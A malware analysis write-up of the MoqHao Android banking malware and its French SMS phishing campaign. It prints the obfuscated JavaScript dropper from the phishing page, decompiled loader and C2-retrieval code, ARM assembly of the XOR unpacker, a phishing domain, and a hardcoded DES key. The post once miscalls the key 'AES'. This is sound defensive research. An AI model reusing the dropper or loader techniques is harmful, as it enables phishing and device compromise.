Technical analysis of the MoqHao (a.k.a RoamingMantis) Android malware and phishing campaign
Analysis of MoqHao Android malware
TL;DR
The Roaming Mantis cyber threat actor is currently targeting France with an SMS phishing campaign in order to deliver a malicious Android application. This malware is named MoqHao, it contains its code in an encrypted and compressed resource. Once the resource is launched, MoqHao retrieves the IP address of its Command & Control server by decrypting the “About” section of Imgur’s profile.
Recently, both Alol and I received multiple phishing SMS (or “smishing”) with the same pattern.
These SMS leads us to download malicious APK. Let’s investigate!
Smishing campain
The smishing campaign has been targeting France for at least 1-2 months. The chain of infection is quite simple.
The victim clicks on the link in the SMS. Then, the site checks if the User-Agent is an Android/iPhone device and if the IP address comes from France (geofencing). If it is not the case, you receive a 404 not found. Otherwise, Android devices will be redirected to download a malicious APK and iPhone devices to a phishing website to steal iCloud credentials.
Example of phishing SMS :
EN : Your package has been sent. Please check it and receive it. hxxp://shbuf.bwdbu.com/
In this article, we will focus on the Android malicious application, named MoqHao. It is automatically downloaded when we click on the link in the SMS thanks to following Javascript snippet :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ curl http://shbuf.bwdbu.com/ -A "Mozilla/5.0 (Android 11; Mobile Firefox/83)"
<html><head><title></title></head><body><div><script>vararr="14964,14969,14960,14951,14945,14909,14903,14932,14963,14972,14971,14901,14961,14898,14964,14947,14970,14972,14951,14901,14944,14971,14960,14901,14968,14960,14972,14969,14969,14960,14944,14951,14960,14901,14960,14957,14949,15100,14951,14972,14960,14971,14966,14960,14905,14901,14947,14960,14944,14972,14969,14969,14960,14959,14901,14968,14960,14945,14945,14951,14960,14901,15093,14901,14975,14970,14944,14951,14901,14947,14970,14945,14951,14960,14901,14971,14964,14947,14972,14962,14964,14945,14960,14944,14951,14901,14934,14973,14951,14970,14968,14960,14901,15093,14901,14969,14964,14901,14961,14960,14951,14971,14972,15101,14951,14960,14901,14947,14960,14951,14950,14972,14970,14971,14903,14908,14894,14879,14901,14901,14901,14901,14901,14901,14901,14901,14969,14970,14966,14964,14945,14972,14970,14971,14907,14951,14960,14949,14969,14964,14966,14960,14909,14903,14906,14973,14957,14961,14950,14947,14962,14956,14960,14972,14946,14907,14964,14949,14974,14903,14908,14894,14869".split(',').map(function(a){returna|0});varb=arr[arr.length-1];for(vari=0;i<arr.length-1;i++){arr[i]=arr[i]^b;}arr.pop();eval(String.fromCharCode(...arr));</script></div></body></html>
We can simply replace the eval function with a console.log and executes it to get the following clean JS code.
1
2
alert("Afin d'avoir une meilleure expérience, veuillez mettre à jour votre navigateur Chrome à la dernière version");location.replace("/hxdsvgyeiw.apk");
This code opens a popup which says “For a better experience, please update your Chrome browser to the latest version”.
Then redirects you to the android malware (/hxdsvgyeiw.apk).
The name of the APK changes every time you request the website. The resource folder name and the resource name of the malware is also changed every time to bypass hash/string detection signature by AV.
Here is the list of tools I used in this analysis with their purpose :
jadx-gui (Java/DEX decompiler)
Ghidra (Native library disassembler/decompiler)
AVD (Run and manage Android VMs)
Frida (Hooks functions inside Android app)
Burpsuite (HTTP proxy)
Overview of the application
We can use jadx-gui to view the source code of the malware.
Before diving into the code, we can notice two things in the file structure. We have a native library (libvg.so) and a resource with a weird name (1eqlsfh). Let’s check the entropy (randomness of data) of the resource on CyberChef.
We get 7.99 as entropy, this means that the resource is encrypted and/or compressed. We can keep that in mind for later.
In the AndroidManifest.xml, we can extract the permissions and the name of the MainActivity.
packagegb9i3m6;importandroid.app.Activity;importandroid.content.Context;importandroid.os.Bundle;imports.ni;publicclassYrActivityextendsActivity{privatestaticObjecta(Stringstr,Stringstr2,booleanz,inti,booleanz2,Stringstr3){returnni.qc(str,str2,1L,str3,3,false,0);}privatestaticObjectb(Contextcontext){returnni.pe(context,0);}@Override// android.app.ActivityprotectedvoidonCreate(Bundlebundle){super.onCreate(bundle);Ud.c(this);// Create Ud instance from static function, then create new RgApplicationObject[]objArr=newObject[2];try{Objectb=b(this);objArr[1]=a(getPackageName(),YrActivity.class.getName(),false,0,false,"0");objArr[0]=b;}catch(Exceptionunused){}ni.jf("",objArr,2,0L,1,false,0,true,1L,false);finish();}}
As you can see, the code is obfuscated and we have a lot of native library calls. All the calls are described here :
publicclassRgApplicationextendsApplication{publicObjecta;publicClassb;privatevoida(Objectobj){Classcls=(Class)ni.oa(ni.ls(1),obj,1,true,0);// ClassLoader.loadClass("com.Loader")this.b=cls;this.a=ni.iz(cls);// instantiate "com.Loader" Object}// [3] Write the resource to <...>/files/b and launch itprivatevoidb(Stringstr,Objectobj){Stringoq=ni.oq(this,1,"",true);// Get the absolut path of the "files" directoryStringom=ni.om(oq,"b");// Concatenate "/b" to the absolut pathe(om,obj);// write unpacked resource to "<app>/files/b"a(f(0,str,oq,om));// new com.Loader() (Entrypoint of the unpacked DEX library)}// [2] Unpack the resource inside "xmdop" and call b(...)privatevoidc(Objectobj){// ni.pi(this, obj, 1, false, "") : XOR and deflate the resource inside "xmdop"b(obj.toString(),ni.pi(this,obj,1,false,""));}// [1] Call on Object creationprivatevoidd(){// load native library libvg.soRuntime.getRuntime().load(((PathClassLoader)getClassLoader()).findLibrary("vg"));c("xmdop");// "xmdop" = resource folder name}privatestaticObjecte(Stringstr,Objectobj){returnni.or(str,obj,0);// write data to a file}privateObjectf(inti,Stringstr,Stringstr2,Stringstr3){returnni.mz(str3,ni.om(str2,str).toString(),1,false);// new object ClassLoader}@Override// android.app.ApplicationpublicvoidonCreate(){super.onCreate();try{d();}catch(Throwableunused){}}
First, the method d() is called, it loads the native library libvg.so and call c("xmdop") (the parameter corresponds to the name of the resource folder).
Secondly, the method c("xmdop") unpack the resource (XOR and zlib decompression) and call b("xmdop", "<unpacked_resource>").
Finally, the method b("xmdop", "<unpacked_resource>"), save the unpacked resource at /data/data/<package_name>/files/b and launch the unpacked resource which is a DEX file via ClassLoader.loadClass("com.Loader").
com.Loader is a name of a class inside the unpacked resource.
Unpack the resource
Now, there are two ways to get the unpacked resource :
Using adb to pull the DEX code directly from the infected device : adb pull /data/data/<package_name>/files/b .
Using static code analysis of the native library function ni.pi(...) to find how the resource is unpacked.
The first argument of JNI functions is always JNIEnv *. The JNIEnv type is a pointer to a structure storing all JNI function pointers. Each function is accessible at a fixed offset through the JNIEnv argument.
1
typedefconststructJNINativeInterface*JNIEnv;
You can find the list of functions and offsets on this spreadsheet. The JNIEnv structure can be downloaded as Ghidra Data Type (GDT), jni_all.gdt. So, you can import it on Ghidra and it will resolve automatically functions names when you change the JNI function signature.
JNI functions at a JNIEnv offset are now automatically resolved. This improves the readability of decompiled C code. There is the decompiled C code of the ni.pi(...) function :
As you can see on the screenshot above, the resource seems to be XORed and decompressed (zlib). Let’s switch to the assembler view to find the key of the XOR.
; [*] Get the first 12 bytes of the resource and stores it in r0
8c9e:ldr.wr0,[fp]8ca2:movr1,r48ca4:movsr2,#0
8ca6:movsr3,#12 ; r3 = 12
8ca8:ldr.wr6,[r0,#800] ; offset of GetByteArrayRegion in JNIEnv struct
8cac:addr0,sp,#44 ; r0 = sp + 44
8cae:strr0,[sp,#0] ; r0 = address of the buffer
8cb0:movr0,fp8cb2:blxr6; [*] Create a new Byte Array of 512 bytes
; r4 = 11th bytes of the resource
8cb4:ldr.wr0,[fp]8cb8:mov.wr1,#512 ; r1 = 512
8cbc:movr6,r58cbe:ldrb.wr4,[sp,#55] ; r4 = r0 + 11, the 11th bytes of the resource
8cc2:ldr.wr2,[r0,#704] ; offset of NewByteArray in JNIEnv struct
8cc6:movr0,fp8cc8:blxr28cca:sub.wsl,r7,#185
8cce:movr5,r08cd0:movsr0,#0
8cd2:strdr0,r0,[sp,#32] ; Initialize vector struct to store unxored resource
; #32 = vector.lpStart, #36 = vector.lpLastData
8cd6:strr0,[sp,#40] ; #40 = vector.lpEnd
8cd8:strr5,[sp,#24]
8cda:strr6,[sp,#16]
; [*] Loop to read the resource (512 bytes block), start from 12th bytes
8cdc:ldrr1,[sp,#20]
8cde:movr0,fp; r0 = *JNIEnv
8ce0:movr2,r6; r2 = InputStream -> int read(byte[] b)
8ce2:movr3,r5; r3 = addr of 512 bytes array
8ce4:blx7d64<_ZN7_JNIEnv13CallIntMethodEP8_jobjectP10_jmethodIDz@plt>8ce8:movr8,r08cea:cmpr0,#0
8cec:blt.n8d4e<Java_s_ni_pi@@Base+0x23e>8cee:ldr.wr0,[fp]8cf2:ldr.wr3,[r0,#736] ; offset of GetByteArrayElements in JNIEnv struct
8cf6:movr0,fp8cf8:movr1,r58cfa:movsr2,#0
8cfc:blxr38cfe:addr6,sp,#32
8d00:movr5,fp8d02:movr9,r0; r9 = @(bytes array return by GetByteArrayElements)
8d04:mov.wfp,#0 ; i = 0
8d08:b.n8d32<Java_s_ni_pi@@Base+0x222>; [*] Loop to XOR (byte per byte) the byte array with r4
8d0a:ldrb.wr1,[r9,fp]; r1 = resource[i], resource byte at index i
8d0e:ldrdr0,r2,[sp,#36] ; r0 = vector.lpLastData, r2 = vector.lpEnd
8d12:eorsr1,r4; r1 ^= r4 (r4 is still equal to the 11th bytes of the resource)
8d14:cmpr0,r2; cmp vector.lpLastData == vector.lpEnd
8d16:strb.wr1,[r7,#-185]
8d1a:bcs.n8d26<Java_s_ni_pi@@Base+0x216>8d1c:strbr1,[r0,#0]
8d1e:ldrr0,[sp,#36] ; *(vector.lpLastData) = r1 (unxored byte)
8d20:addsr0,#1 ; vector.lpLastData += 1
8d22:strr0,[sp,#36]
8d24:b.n8d2e<Java_s_ni_pi@@Base+0x21e>8d26:movr0,r6; r0 = @vector
8d28:movr1,sl; r1 = unxored byte
; https://stackoverflow.com/questions/51457322/what-is-stdvector-emplace-back-slow-path-stdvector-push-back-slow-path
8d2a:blx7d70<_ZNSt6__ndk16vectorIaNS_9allocatorIaEEE21__push_back_slow_pathIaEEvOT_@plt>8d2e:add.wfp,fp,#1 ; i = i + 1
8d32:cmpfp,r8; cmp i == number of bytes read by InputStream -> int read(byte[] b)
8d34:blt.n8d0a<Java_s_ni_pi@@Base+0x1fa>; jmp 0x8d0a (XOR loop)
I would like to thanks Christophe for helping me on the ARM reverse engineering.
The resource (from the 12th byte to the end of the file) is XORed with the 11th byte of this same resource. So, we have the XOR key ! Let’s write a Python script to automatically unpack the resource.
The size of the unpack resource is indicated on bytes 8, 9 and 10 but is not used in the assembly code. We will use the size in the Python script to make it more stable.
We are good ! Now, let’s dive into the new DEX code analysis.
Retrieve C2 URL
From the previous code analysis, we know that the unpacked resource is run by creating a new object of the class com.Loader.
jadx-gui gives us some statistics about the DEX file :
1
2
Classes: 615
Methods: 2876
We will not go through all the classes and methods, but only the more important ones.
In the code, we can see a lot of HTTP requests. To find where to start static code analysis, let’s run the application with Burpsuite as proxy. Maybe we will obtain a good entry point to focus our research on.
When we start MoqHao, the following HTTP request is made :
Here is the HTTP request in plaintext :
1
2
3
4
5
6
7
8
GET /user/shaoye99/about HTTP/2
Host: imgur.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
Accept: text/html,*/*;q=0.8
Accept-Encoding: gzip, defate
Accept-Language: zh-CN,zh;0.8,en;q=0.6
Cache-Control: no-cache
Connection: Keep-Alive
Let’s visit the link, hxxps://imgur.com/user/shaoye99/about :
The about section of the profile seems to contain encrypted data. Let’s use the previous information to start static code analysis.
By searching for the string shaoye99, we came across the following line which is very interesting.
publicfinalStringgetDefaultAccounts(){returnthis.f279m;}publicfinalStringmo333a(){// ...Stringstring=Loader.access$getPreferences$p(Loader.this).getString("addr_accounts",Loader.this.getDefaultAccounts());// string = "chrome|shaoye77@imgur|shaoye88@imgur|shaoye99@imgur";C0474i.m321c(string,"addrAccountsStr");m204M=C0533v.m204M(string,newchar[]{'|'},false,0,6,null);// split on '|'Stringlocale=Locale.getDefault().toString();C0474i.m321c(locale,"Locale.getDefault().toString()");m217i=C0532u.m217i(locale,"ko",false,2,null);if(m217i){access$getPreferences$p=Loader.access$getPreferences$p(Loader.this);obj=m204M.get(1);// if locale is 'ko', then use 'shaoye77@imgur'}else{m217i2=C0532u.m217i(locale,"ja",false,2,null);if(m217i2){access$getPreferences$p=Loader.access$getPreferences$p(Loader.this);obj=m204M.get(2);// if locale is 'ja', then use 'shaoye88@imgur'}else{access$getPreferences$p=Loader.access$getPreferences$p(Loader.this);obj=m204M.get(3);// else use 'shaoye99@imgur'}}Stringstring2=access$getPreferences$p.getString("account",(String)obj);// For french user, string2 = obj = 'shaoye99@imgur'if(!C0474i.m323a(string2,"unknown")){C0474i.m321c(string2,"account");Stringm759g=C0337t.m759g(string2);// Fetch C2 IP addressLog.d("WS","ACC:"+string2);if(m759g==null){Loader.this.f276j="DNS ERROR";Stringstring3=Loader.access$getPreferences$p(Loader.this).getString("last_addr","");if(!C0474i.m323a(string3,"")){m759g=string3;}this.f400c.f860a++;returnm759g;}m217i3=C0532u.m217i(m759g,"ssl://",false,2,null);if(m217i3){str=C0532u.m221e(m759g,"ssl://","wss://",false,4,null);}else{str="ws://"+m759g;}// Store C2 IP address into 'last_addr' SharedPreferencesLoader.access$getPreferences$p(Loader.this).edit().putString("last_addr",str).apply();returnstr;}thrownewIllegalStateException("null......");}}
The string "chrome|shaoye77@imgur|sha..." is split with the separator |. Then, if the locale of the phone is :
ko (Korean), use shaoye77@imgur
ja (Japan), use shaoye88@imgur
else, use shaoye99@imgur
Then, send the imgur profile to C0337t.m759g(string2);. With a French phone, we will get C0337t.m759g("shaoye99@imgur");, this corresponds to the imgur profile we saw on Burpsuite.
The m759g function returns the C2 IP & port (we will reverse it very soon), then store it inside “last_addr” SharedPreferences.
So, to get the C2 IP address and port, we have two ways :
Extract last_addr from the SharedPreferences.
Analyse the function m759g to determine how MoqHao retrieves the C2 from the Imgur profiles.
The first way is very simple, you just need to view the content of pref.xml :
publicstaticfinalStringm759g(Stringstr){Listm204M;C0474i.m320d(str,"acc");m204M=C0533v.m204M(str,newchar[]{'@'},false,0,6,null);if(C0474i.m323a((String)m204M.get(1),"debug")){return(String)m204M.get(0);}if(C0474i.m323a((String)m204M.get(1),"vk")){returnm752n((String)m204M.get(0));}if(C0474i.m323a((String)m204M.get(1),"youtube")){returnm751o((String)m204M.get(0));}if(C0474i.m323a((String)m204M.get(1),"ins")){returnm753m((String)m204M.get(0));}if(C0474i.m323a((String)m204M.get(1),"GoogleDoc")){returnm756j((String)m204M.get(0));}if(C0474i.m323a((String)m204M.get(1),"GoogleDoc2")){returnm755k((String)m204M.get(0));}if(C0474i.m323a((String)m204M.get(1),"blogger")){returnm758h((String)m204M.get(0));}if(C0474i.m323a((String)m204M.get(1),"blogspot")){returnm757i((String)m204M.get(0));}if(!C0474i.m323a((String)m204M.get(1),"imgur")){// if NOT EQUALS to imgurreturnnull;}returnm754l((String)m204M.get(0));// then, imgur request is made}
m759g calls a function with the name of the profile in parameter according to the platform used (imgur, vk, youtube, googledoc, …).
For example, the string shaoye99@imgur is split on @ :
shaoye99 = m204M.get(0)
imgur = m204M.get(1)
With our imgur profile, we will call m754l('shaoye99'). Its goal is to extract the about section of the imgur profile and decrypt it with DES in CBC mode.
// Extract about sectionpublicstaticfinaljava.lang.Stringm754l(java.lang.Stringr7){C0474i.m320d(str,"acc");C0482qc0482q=C0482q.f864a;Stringformat=String.format("https://imgur.com/user/%s/about",Arrays.copyOf(newObject[]{str},1));C0474i.m321c(format,"java.lang.String.format(format, *args)");Stringstr2=null;try{// search for regex :// - ffgtrrt([\\w_-]+?)ffgtrrt// - bgfrewi([\\w_-]+?)bgfrewi// - htynff([\\w_-]+?)htynff// - gfjytg([\\w_-]+?)gfjytg// - dseregn([\\w_-]+?)dseregn// results in 'group' variableif(group!=null){str2=m762d(group);}}catch(Exceptione){e.printStackTrace();}if(str2==null){Log.e("MSG","DNS ERR");}returnstr2;}// Base64 decode and call function to decryptpublicstaticfinalStringm762d(Stringstr){C0474i.m320d(str,"str");// check str is not nullbyte[]decode=Base64.decode(str,8);// base64 decodeC0474i.m321c(decode,"Base64.decode(str, 8)");// check decode is not nullreturnnewString(m764b(decode,"Ab5d1Q32"),"UTF-8");// decrypt with DES (mode CBC)}// Decrypt with KEY = IV = "Ab5d1Q32"publicstaticfinalbyte[]m764b(byte[]bArr,Stringstr){C0474i.m320d(bArr,"src");C0474i.m320d(str,"paramString");SecureRandomsecureRandom=newSecureRandom();Charsetcharset=C0510d.f880a;byte[]bytes=str.getBytes(charset);C0474i.m321c(bytes,"(this as java.lang.String).getBytes(charset)");SecretKeySpecsecretKeySpec=newSecretKeySpec(bytes,"DES");Ciphercipher=Cipher.getInstance("DES/CBC/PKCS5Padding");byte[]bytes2=str.getBytes(charset);C0474i.m321c(bytes2,"(this as java.lang.String).getBytes(charset)");cipher.init(2,secretKeySpec,newIvParameterSpec(bytes2),secureRandom);byte[]doFinal=cipher.doFinal(bArr);C0474i.m321c(doFinal,"cipher.doFinal(src)");returndoFinal;}
As you can see, the AES key is harcoded, m764b(decode, "Ab5d1Q32"), and the IV is equal to the key.
We can easily make a Python script to decrypt C2 URI.